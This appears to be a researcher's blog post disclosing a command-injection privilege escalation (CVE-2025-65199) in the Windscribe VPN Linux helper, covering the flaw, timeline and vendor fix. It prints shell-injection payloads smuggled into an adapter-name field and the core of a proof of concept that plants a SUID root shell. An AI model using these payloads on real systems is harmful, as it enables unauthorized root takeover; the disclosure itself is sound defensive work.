top of page

CVE-2025-65199 - Windscribe VPN Local Privilege Escalation

  • Hacking By Doing
  • 2 days ago
  • 3 min read

Updated: 45 minutes ago

ree

I recently set up a new Linux lab and installed the Windscribe VPN desktop client. While messing around with the setup, I found a Local Privilege Escalation vulnerability that allows a local user to jump straight to root.


Today, in coordination with CERT/CC, I’m disclosing the vulnerability CVE-2025-65199 publicly.

Here is the technical breakdown of how I found it, and how it works.


The Architecture:

Windscribe on Linux follows a standard privileged/unprivileged architecture to separate duties:

  1. The Client (GUI/CLI): Runs as your standard unprivileged user.

  2. The Helper (/opt/windscribe/helper): Runs as root via systemd to handle the heavy lifting (network interfaces, firewall rules, etc.).

  3. The Comm Link: They talk via a Unix domain socket at /var/run/windscribe/helper.sock.


I took a look at the socket permissions:

srwxrwx--- 1 root windscribe 0 Oct 21 16:32 helper.sock

The socket is writable by the windscribe group. This is the first gatekeeper. To talk to the root process, you need to be in that group.


Now, usually, users aren't added to this group automatically, the GUI binary uses setcap to grant itself permissions to talk to the socket. However, if you are in this group (maybe an admin added you for CLI access, or you’re on a misconfigured multi-user system), the attack surface opens up.


The Bug:

I started analyzing the helper binary to see how it processes commands from the socket. The vulnerability lives in the changeMtu function in src/helper/linux/process_command.cpp.


When the helper receives a request to change the MTU (Maximum Transmission Unit), it deserializes the parameters (adapterName and mtu) and passes them to a utility function to execute the ip command.


Here’s the logic flow:

// Simplified view of the vulnerable code
std::string adapterName;
int mtu;
deserializePars(pars, adapterName, mtu);

// ... logging ...

Utils::executeCommand("ip", {"link", "set", "dev", adapterName.c_str(), "mtu", std::to_string(mtu)});

The issue isn't obvious until you look at Utils::executeCommand. This function takes the arguments and wraps them in double quotes to "sanitize" them before passing them to a shell.


The fatal flaw: It wraps the arguments in quotes, but it does not escape quotes inside the argument itself.


If I send an adapterName like eth0, the command becomes:

ip "link" "set" "dev" "eth0" "mtu" "1500"

But, if I send an adapterName containing a double quote and shell metacharacters:

eth0"; id > /tmp/pwned; echo "

The resulting command executed by root becomes:

ip "link" "set" "dev" "eth0"; id > /tmp/pwned; echo "" "mtu" "1500"

The shell sees the quote, closes the dev argument, sees the semicolon, and executes the next command (id) as root.


The Exploit (PoC)

To exploit this, we don't need the GUI. We just need to send the IPC protocol to the socket. I wrote a small tool to connect to the socket, serialize the malicious payload, and send it over.


Here is the core logic of the exploit:

// Payload: Break out of quotes, run command, fix the tail end
std::string payload = std::string("eth0\"; cp /bin/bash /tmp/rootsh && chmod +s /tmp/rootsh; echo \"");
std::string params = serializeParams(payload, 1500);

// Send to socket...
write(sock, params.data(), length);

When I ran this against Windscribe v2.17.10 on my Ubuntu machine, the result was instant:

[*] Windscribe LPE - Spawning root shell...
[+] SUID shell created at /tmp/rootsh
# whoami
root

ree

Impact & Fix

Severity: Medium-High (CVSS 7.3).

Impact: Full Root Compromise.

Prerequisite: User must be in the windscribe group.

Affected version: 2.17.10


While the group requirement limits the scope (you can't just walk up to any default install and run this), it’s a critical flaw for any system where users are granted group access for CLI usage.


I reported this to Windscribe on October 21st, 2025. They were responsive, acknowledged the issue quickly.


The Fix:

Windscribe released a patch that properly sanitizes input and, more importantly, stopped using shell execution for these commands.


Timeline

  • Oct 21, 2025: Vulnerability discovered and reported.

  • Oct 2025: Vendor confirmed.

  • Dec 10, 2025: Public disclosure via CERT/CC.


If you are using Windscribe on Linux, make sure you update to the latest version immediately.


 
 
bottom of page